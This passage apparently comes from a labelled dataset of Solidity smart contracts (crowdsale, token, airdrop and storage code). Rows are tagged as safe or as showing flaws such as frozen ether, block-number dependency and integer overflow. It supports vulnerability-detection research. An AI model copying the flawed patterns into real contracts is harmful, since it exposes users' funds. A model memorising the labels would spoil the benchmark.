<= toFund) { bonus = 25; // final 25% amount bonus for more than 8000 ETH } if (additionalBonusAmounts[3] <= toFund) { bonus = 30; // final 30% amount bonus for more than 10000 ETH } return div(mul(baseRate, add(bonus, 100)), 100); } function startPeriod(uint256 _startTime, uint256 _endTime) public onlyOwner returns (bool) { require(periods.length < MAX_PERIOD_COUNT); require(now < _startTime && _startTime < _endTime); if (periods.length != 0) { require(sub(_endTime, _startTime) <= 7 days); require(periods[periods.length - 1].endTime < _startTime); } // 15% -> 10% -> 5% -> 0% Period memory newPeriod; newPeriod.startTime = _startTime; newPeriod.endTime = _endTime; if(periods.length < 3) { newPeriod.bonus = sub(15, mul(5, periods.length)); } else { newPeriod.bonus = 0; } periods.push(newPeriod); StartPeriod(_startTime, _endTime, newPeriod.bonus); return true; } function onSale() public returns (bool) { bool nowOnSale; for (uint i = 0; i < periods.length; i++) { if (periods[i].startTime <= now && now <= periods[i].endTime) { nowOnSale = true; break; } } return nowOnSale; } /** * @dev should be called after crowdsale ends, to do */ function finalize() onlyOwner { require(!isFinalized); require(!onSale() || maxReached()); finalizedTime = now; finalization(); Finalized(); isFinalized = true; } /** * @dev end token minting on finalization, mint tokens for dev team and reserve wallets */ function finalization() internal { if (minReached()) { vault.close(); uint256 totalToken = token.totalSupply(); // token distribution : 50% for sale, 5% for bounty, 15% for partners, 15% for reserve, 15% for team uint256 bountyAmount = div(mul(totalToken, 5), 50); uint256 partnersAmount = div(mul(totalToken, 15), 50); uint256 reserveAmount = div(mul(totalToken, 15), 50); uint256 teamAmount = div(mul(totalToken, 15), 50); distributeToken(bountyAmount, partnersAmount, reserveAmount, teamAmount); token.enableTransfers(true); } else { vault.enableRefunds(); } token.finishGenerating(); token.changeController(ATCController); } function distributeToken(uint256 bountyAmount, uint256 partnersAmount, uint256 reserveAmount, uint256 teamAmount) internal { require(bountyAddress != 0x00 && partnersAddress != 0x00); require(ATCReserveLocker != 0x00 && teamLocker != 0x00); token.generateTokens(bountyAddress, bountyAmount); token.generateTokens(partnersAddress, partnersAmount); token.generateTokens(ATCReserveLocker, reserveAmount); token.generateTokens(teamLocker, teamAmount); } /** * @dev refund a lot of investors at a time checking onlyOwner * @param numToRefund uint256 The number of investors to refund */ function refundAll(uint256 numToRefund) onlyOwner { require(isFinalized); require(!minReached()); require(numToRefund > 0); uint256 limit = refundCompleted + numToRefund; if (limit > investorList.length) { limit = investorList.length; } for(uint256 i = refundCompleted; i < limit; i++) { vault.refund(investorList[i]); } refundCompleted = limit; RefundAll(numToRefund); } /** * @dev if crowdsale is unsuccessful, investors can claim refunds here * @param investor address The account to be refunded */ function claimRefund(address investor) returns (bool) { require(isFinalized); require(!minReached()); return vault.refund(investor); } function claimTokens(address _claimToken) public onlyOwner { if (token.controller() == address(this)) { token.claimTokens(_claimToken); } if (_claimToken == 0x0) { owner.transfer(this.balance); return; } ERC20Basic claimToken = ERC20Basic(_claimToken); uint256 balance = claimToken.balanceOf(this); claimToken.transfer(owner, balance); ClaimedTokens(_claimToken, owner, balance); } }",Safe,8,8 510.sol,"pragma solidity ^0.4.23; interface RegistryInterface { function getLatestVersion(address stor_addr, bytes32 exec_id, address provider, bytes32 app_name) external view returns (bytes32 latest_name); function getVersionImplementation(address stor_addr, bytes32 exec_id, address provider, bytes32 app_name, bytes32 version_name) external view returns (address index, bytes4[] selectors, address[] implementations); } contract AbstractStorage { bytes32 private exec_id; address private sender; uint private nonce; event ApplicationInitialized(bytes32 indexed execution_id, address indexed index, address script_exec); event ApplicationExecution(bytes32 indexed execution_id, address indexed script_target); event DeliveredPayment(bytes32 indexed execution_id, address indexed destination, uint amount); bytes32 internal constant EXEC_PERMISSIONS = keccak256('script_exec_permissions'); bytes32 internal constant APP_IDX_ADDR = keccak256('index'); bytes4 internal constant EMITS = bytes4(keccak256('Emit((bytes32[],bytes)[])')); bytes4 internal constant STORES = bytes4(keccak256('Store(bytes32[])')); bytes4 internal constant PAYS = bytes4(keccak256('Pay(bytes32[])')); bytes4 internal constant THROWS = bytes4(keccak256('Error(string)')); bytes4 internal constant REG_APP = bytes4(keccak256('registerApp(bytes32,address,bytes4[],address[])')); bytes4 internal constant REG_APP_VER = bytes4(keccak256('registerAppVersion(bytes32,bytes32,address,bytes4[],address[])')); bytes4 internal constant UPDATE_EXEC_SEL = bytes4(keccak256('updateExec(address)')); bytes4 internal constant UPDATE_INST_SEL = bytes4(keccak256('updateInstance(bytes32,bytes32,bytes32)')); function createRegistry(address _registry_idx, address _implementation) external returns (bytes32) { bytes32 new_exec_id = keccak256(++nonce); put(new_exec_id, keccak256(msg.sender, EXEC_PERMISSIONS), bytes32(1)); put(new_exec_id, APP_IDX_ADDR, bytes32(_registry_idx)); put(new_exec_id, keccak256(REG_APP, 'implementation'), bytes32(_implementation)); put(new_exec_id, keccak256(REG_APP_VER, 'implementation'), bytes32(_implementation)); put(new_exec_id, keccak256(UPDATE_INST_SEL, 'implementation'), bytes32(_implementation)); put(new_exec_id, keccak256(UPDATE_EXEC_SEL, 'implementation'), bytes32(_implementation)); emit ApplicationInitialized(new_exec_id, _registry_idx, msg.sender); return new_exec_id; } function createInstance(address _sender, bytes32 _app_name, address _provider, bytes32 _registry_id, bytes _calldata) external payable returns (bytes32 new_exec_id, bytes32 version) { require(_sender != 0 && _app_name != 0 && _provider != 0 && _registry_id != 0 && _calldata.length >= 4, 'invalid input'); new_exec_id = keccak256(++nonce); assert(getIndex(new_exec_id) == address(0)); address index; (index, version) = setImplementation(new_exec_id, _app_name, _provider, _registry_id); setContext(new_exec_id, _sender); require(address(index).delegatecall(_calldata) == false, 'Unsafe execution'); executeAppReturn(new_exec_id); emit ApplicationInitialized(new_exec_id, index, msg.sender); assert(new_exec_id != bytes32(0)); if (address(this).balance > 0) address(msg.sender).transfer(address(this).balance); } function exec(address _sender, bytes32 _exec_id, bytes _calldata) external payable returns (uint n_emitted, uint n_paid, uint n_stored) { require(_calldata.length >= 4 && _sender != address(0) && _exec_id != bytes32(0)); address target = getTarget(_exec_id, getSelector(_calldata)); require(target != address(0), 'Uninitialized application'); setContext(_exec_id, _sender); require(address(target).delegatecall(_calldata) == false, 'Unsafe execution'); (n_emitted, n_paid, n_stored) = executeAppReturn(_exec_id); if (n_emitted == 0 && n_paid == 0 && n_stored == 0) revert('No state change occured'); emit ApplicationExecution(_exec_id, target); if (address(this).balance > 0) address(msg.sender).transfer(address(this).balance); } function executeAppReturn(bytes32 _exec_id) internal returns (uint n_emitted, uint n_paid, uint n_stored) { uint _ptr; uint ptr_bound; (ptr_bound, _ptr) = getReturnedData(); if (getAction(_ptr) == THROWS) { doThrow(_ptr); assert(false); } require(ptr_bound >= _ptr + 64, 'Malformed returndata - invalid size'); _ptr += 64; bytes4 action; while (_ptr <= ptr_bound && (action = getAction(_ptr)) != 0x0) { if (action == EMITS) { require(n_emitted == 0, 'Duplicate action: EMITS'); (_ptr, n_emitted) = doEmit(_ptr, ptr_bound); require(n_emitted != 0, 'Unfulfilled action: EMITS'); } else if (action == STORES) { require(n_stored == 0, 'Duplicate action: STORES'); (_ptr, n_stored) = doStore(_ptr, ptr_bound, _exec_id); require(n_stored != 0, 'Unfulfilled action: STORES'); } else if (action == PAYS) { require(n_paid == 0, 'Duplicate action: PAYS'); (_ptr, n_paid) = doPay(_exec_id, _ptr, ptr_bound); require(n_paid != 0, 'Unfulfilled action: PAYS'); } else { revert('Malformed returndata - unknown action'); } } assert(n_emitted != 0 || n_paid != 0 || n_stored != 0); } function setImplementation(bytes32 _new_exec_id, bytes32 _app_name, address _provider, bytes32 _registry_id) internal returns (address index, bytes32 version) { index = getIndex(_registry_id); require(index != address(0) && index != address(this), 'Registry application not found'); version = RegistryInterface(index).getLatestVersion( address(this), _registry_id, _provider, _app_name ); require(version != bytes32(0), 'Invalid version name'); bytes4[] memory selectors; address[] memory implementations; (index, selectors, implementations) = RegistryInterface(index).getVersionImplementation( address(this), _registry_id, _provider, _app_name, version ); require(index != address(0), 'Invalid index address'); require(selectors.length == implementations.length && selectors.length != 0, 'Invalid implementation length'); bytes32 seed = APP_IDX_ADDR; put(_new_exec_id, seed, bytes32(index)); for (uint i = 0; i < selectors.length; i++) { require(selectors[i] != 0 && implementations[i] != 0, 'invalid input - expected nonzero implementation'); seed = keccak256(selectors[i], 'implementation'); put(_new_exec_id, seed, bytes32(implementations[i])); } return (index, version); } function getIndex(bytes32 _exec_id) public view returns (address) { bytes32 seed = APP_IDX_ADDR; function (bytes32, bytes32) view returns (address) getter; assembly { getter := readMap } return getter(_exec_id, seed); } function getTarget(bytes32 _exec_id, bytes4 _selector) public view returns (address) { bytes32 seed = keccak256(_selector, 'implementation'); function (bytes32, bytes32) view returns (address) getter; assembly { getter := readMap } return getter(_exec_id, seed); } struct Map { mapping(bytes32 => bytes32) inner; } function readMap(Map storage _map, bytes32 _seed) internal view returns (bytes32) { return _map.inner[_seed]; } function put(bytes32 _exec_id, bytes32 _seed, bytes32 _val) internal { function (bytes32, bytes32, bytes32) puts; assembly { puts := putMap } puts(_exec_id, _seed, _val); } function putMap(Map storage _map, bytes32 _seed, bytes32 _val) internal { _map.inner[_seed] = _val; } function getSelector(bytes memory _calldata) internal pure returns (bytes4 sel) { assembly { sel := and( mload(add(0x20, _calldata)), 0xffffffff00000000000000000000000000000000000000000000000000000000 ) } } function getReturnedData() internal pure returns (uint ptr_bounds, uint _returndata_ptr) { assembly { if lt(returndatasize, 0x60) { mstore(0, 0x20) mstore(0x20, 24) mstore(0x40, 'Insufficient return size') revert(0, 0x60) } _returndata_ptr := msize returndatacopy(_returndata_ptr, 0, returndatasize) ptr_bounds := add(_returndata_ptr, returndatasize) mstore(0x40, add(0x20, ptr_bounds)) } } function getLength(uint _ptr) internal pure returns (uint length) { assembly { length := mload(_ptr) } } function doThrow(uint _ptr) internal pure { assert(getAction(_ptr) == THROWS); assembly { revert(_ptr, returndatasize) } } function doPay(bytes32 _exec_id, uint _ptr, uint _ptr_bound) internal returns (uint ptr, uint n_paid) { require(msg.value > 0); assert(getAction(_ptr) == PAYS); _ptr += 4; uint num_destinations = getLength(_ptr); _ptr += 32; address pay_to; uint amt; while (_ptr <= _ptr_bound && n_paid < num_destinations) { assembly { amt := mload(_ptr) pay_to := mload(add(0x20, _ptr)) } if (pay_to == address(0) || pay_to == address(this)) revert('PAYS: invalid destination'); address(pay_to).transfer(amt); n_paid++; _ptr += 64; emit DeliveredPayment(_exec_id, pay_to, amt); } ptr = _ptr; assert(n_paid == num_destinations); } function doStore(uint _ptr, uint _ptr_bound, bytes32 _exec_id) internal returns (uint ptr, uint n_stored) { assert(getAction(_ptr) == STORES && _exec_id != bytes32(0)); _ptr += 4; uint num_locations = getLength(_ptr); _ptr += 32; bytes32 location; bytes32 value; while (_ptr <= _ptr_bound && n_stored < num_locations) { assembly { location := mload(_ptr) value := mload(add(0x20, _ptr)) } store(_exec_id, location, value); n_stored++; _ptr += 64; } ptr = _ptr; require(n_stored == num_locations); } function doEmit(uint _ptr, uint _ptr_bound) internal returns (uint ptr, uint n_emitted) { assert(getAction(_ptr) == EMITS); _ptr += 4; uint num_events = getLength(_ptr); _ptr += 32; bytes32[] memory topics; bytes memory data; while (_ptr <= _ptr_bound && n_emitted < num_events) { assembly { topics := _ptr data := add(add(_ptr, 0x20), mul(0x20, mload(topics))) } uint log_size = 32 + (32 * (1 + topics.length)) + data.length; assembly { switch mload(topics) case 0 { log0( add(0x20, data), mload(data) ) } case 1 { log1( add(0x20, data), mload(data), mload(add(0x20, topics)) ) } case 2 { log2( add(0x20, data), mload(data), mload(add(0x20, topics)), mload(add(0x40, topics)) ) } case 3 { log3( add(0x20, data), mload(data), mload(add(0x20, topics)), mload(add(0x40, topics)), mload(add(0x60, topics)) ) } case 4 { log4( add(0x20, data), mload(data), mload(add(0x20, topics)), mload(add(0x40, topics)), mload(add(0x60, topics)), mload(add(0x80, topics)) ) } default { mstore(0, 'EMITS: invalid topic count') revert(0, 0x20) } } n_emitted++; _ptr += log_size; } ptr = _ptr; require(n_emitted == num_events); } function getAction(uint _ptr) internal pure returns (bytes4 action) { assembly { action := and(mload(_ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000) } } function setContext(bytes32 _exec_id, address _sender) internal { assert(_exec_id != bytes32(0) && _sender != address(0)); exec_id = _exec_id; sender = _sender; } function store(bytes32 _exec_id, bytes32 _location, bytes32 _data) internal { _location = keccak256(_location, _exec_id); assembly { sstore(_location, _data) } } function read(bytes32 _exec_id, bytes32 _location) public view returns (bytes32 data_read) { _location = keccak256(_location, _exec_id); assembly { data_read := sload(_location) } } function readMulti(bytes32 _exec_id, bytes32[] _locations) public view returns (bytes32[] data_read) { data_read = new bytes32[](_locations.length); for (uint i = 0; i < _locations.length; i++) { data_read[i] = read(_exec_id, _locations[i]); } } }",./Dataset/ether frozen (EF),2,2 436.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract SimpleFlyDropToken is Claimable { using SafeMath for uint256; ERC20 internal erc20tk; function setToken(address _token) onlyOwner public { require(_token != address(0)); erc20tk = ERC20(_token); } function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { require(_destAddrs.length == _values.length); uint256 i = 0; for (; i < _destAddrs.length; i = i.add(1)) { if (!erc20tk.transfer(_destAddrs[i], _values[i])) { break; } } return (i); } } contract DelayedClaimable is Claimable { uint256 public end; uint256 public start; function setLimits(uint256 _start, uint256 _end) onlyOwner public { require(_start <= _end); end = _end; start = _start; } function claimOwnership() onlyPendingOwner public { require((block.number <= end) && (block.number >= start)); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); end = 0; } } contract FlyDropTokenMgr is DelayedClaimable { using SafeMath for uint256; address[] dropTokenAddrs; SimpleFlyDropToken currentDropTokenContract; function prepare(uint256 _rand, address _from, address _token, uint256 _value) onlyOwner public returns (bool) { require(_token != address(0)); require(_from != address(0)); require(_rand > 0); if (ERC20(_token).allowance(_from, this) < _value) { return false; } if (_rand > dropTokenAddrs.length) { SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); dropTokenAddrs.push(address(dropTokenContract)); currentDropTokenContract = dropTokenContract; } else { currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); } currentDropTokenContract.setToken(_token); return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); } function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { require(address(currentDropTokenContract) != address(0)); return currentDropTokenContract.multiSend(_destAddrs, _values); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); }",./Dataset/block number dependency (BN),0,0 0x04983b42ea545fc66294f5ab917c55345159b4a8_TheBittrip.sol,"pragma solidity ^0.4.24; interface theBittripRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TheBittrip { string public name; string public symbol; uint8 public decimals = 8; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TheBittrip( ) public { totalSupply = 250000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = ""The Bittrip Token""; // Set the name for display purposes symbol = ""BT""; // Set the symbol for display purposes } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { theBittripRecipient spender = theBittripRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } }",Safe,8,8 172.sol,"pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else{ uint256 z = x; for (uint256 i = 1; i < y; i++) z = mul(z,x); return (z); } } } interface shareProfit { function increaseProfit() external payable returns(bool); } contract RTB2 is shareProfit { using SafeMath for uint256; uint8 public decimals = 0; uint256 public totalSupply = 700; uint256 public totalSold = 0; uint256 public constant price = 1 ether; string public name = ""Retro Block Token 2""; string public symbol = ""RTB2""; address public owner; address public finance; mapping (address=>uint256) received; uint256 profit; address public jackpot; shareProfit public shareContract; mapping (address=>uint256) changeProfit; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event AddProfit(address indexed _from, uint256 _value, uint256 _newProfit); event Withdraw(address indexed _addr, uint256 _value); modifier onlyOwner() { require(msg.sender == owner, ""only owner""); _; } modifier onlyHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } constructor(address _shareAddr) public { owner = msg.sender; finance = 0x28Dd611d5d2cAA117239bD3f3A548DcE5Fa873b0; jackpot = 0x119ea7f823588D2Db81d86cEFe4F3BE25e4C34DC; shareContract = shareProfit(_shareAddr); balances[this] = 700; } function() public payable { require(msg.value > 0, ""Amount must be provided""); profit = msg.value.div(totalSupply).add(profit); emit AddProfit(msg.sender, msg.value, profit); } function increaseProfit() external payable returns(bool){ if(msg.value > 0){ profit = msg.value.div(totalSupply).add(profit); emit AddProfit(msg.sender, msg.value, profit); return true; }else{ return false; } } function totalSupply() external view returns (uint256){ return totalSupply; } function balanceOf(address _owner) external view returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { require(_value > 0 && allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) external returns (bool) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] -= _value; return _transfer(_from, _to, _value); } function allowance(address _owner, address _spender) external view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) external returns (bool) { return _transfer(msg.sender, _to, _value); } function _transfer(address _from, address _to, uint256 _value) internal returns (bool) { require(_to != address(0), ""Receiver address cannot be null""); require(_from != _to); require(_value > 0 && _value <= balances[_from]); uint256 newToVal = balances[_to] + _value; assert(newToVal >= balances[_to]); uint256 newFromVal = balances[_from] - _value; balances[_to] = newToVal; balances[_from] = newFromVal; uint256 temp = _value.mul(profit); changeProfit[_from] = changeProfit[_from].add(temp); received[_to] = received[_to].add(temp); emit Transfer(_from, _to, _value); return true; } function buy(uint256 _amount) external onlyHuman payable{ require(_amount > 0); uint256 _money = _amount.mul(price); require(msg.value == _money); require(balances[this] >= _amount); require((totalSupply - totalSold) >= _amount, ""Sold out""); _transfer(this, msg.sender, _amount); finance.transfer(_money.mul(60).div(100)); jackpot.transfer(_money.mul(20).div(100)); shareContract.increaseProfit.value(_money.mul(20).div(100))(); totalSold += _amount; } function withdraw() external { uint256 value = getProfit(msg.sender); require(value > 0, ""No cash available""); emit Withdraw(msg.sender, value); received[msg.sender] = received[msg.sender].add(value); msg.sender.transfer(value); } function getProfit(address _addr) public view returns(uint256){ return profit.mul(balances[_addr]).add(changeProfit[_addr]).sub(received[_addr]); } function setJackpot(address _addr) public onlyOwner{ jackpot = _addr; } function setShare(address _addr) public onlyOwner{ shareContract = shareProfit(_addr); } function setFinance(address _addr) public onlyOwner{ finance = _addr; } }",./Dataset/integer overflow (OF)/,4,4 461.sol,"pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * @dev Multiplies two numbers, throws on overflow. */ function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } //contract for defining owener and to transfer owenership to others contract Ownable { address public owner; // contract creator will be the owner function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /* New ERC223 contract interface */ contract ERC223Interface { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value, bytes data) public returns (bool ok); function transfer(address to, uint256 value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data); } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); function transfer(address to, uint256 value) public returns (bool ok); function transferFrom(address _from, address _to, uint256 _value) public returns(bool success); function approve(address _spender, uint256 _value) public returns(bool success); function allowance(address _owner, address _spender) public constant returns(uint256 remaining); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint256 _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract StandardToken is ERC223Interface, ERC20Interface, SafeMath, ContractReceiver { mapping(address => uint) balances; mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = safeSub(balanceOf(_from), _value); balances[_to] = safeAdd(balanceOf(_to), _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // @dev function to increaseApproval to the spender function increaseApproval (address _spender, uint256 _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender],_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } // @dev function to decreaseApproval to spender function decreaseApproval (address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldValue,_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } //@dev function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) { if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint256 _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } // @dev contract that can burn tokens or can reduce the totalSupply tokens contract BurnableToken is StandardToken,Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) onlyOwner public returns (bool) { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = safeSub(balances[burner], _value); totalSupply = safeSub(totalSupply, _value); emit Burn(burner, _value); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation */ contract MintableToken is BurnableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { bytes memory empty; require ( _amount > 0); // if (balanceOf(msg.sender) < _value) revert(); // if( safeAdd(circulatingCoins, _amount) > totalSupply ) revert(); totalSupply = safeAdd(totalSupply, _amount); balances[_to] = safeAdd(balances[_to], _amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount, empty); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract EMIToken is StandardToken, MintableToken { string public name = ""EMITOKEN""; string public symbol = ""EMI""; uint8 public decimals = 8; uint256 public initialSupply = 600000000 * (10 ** uint256(decimals)); function EMIToken() public{ totalSupply = initialSupply; 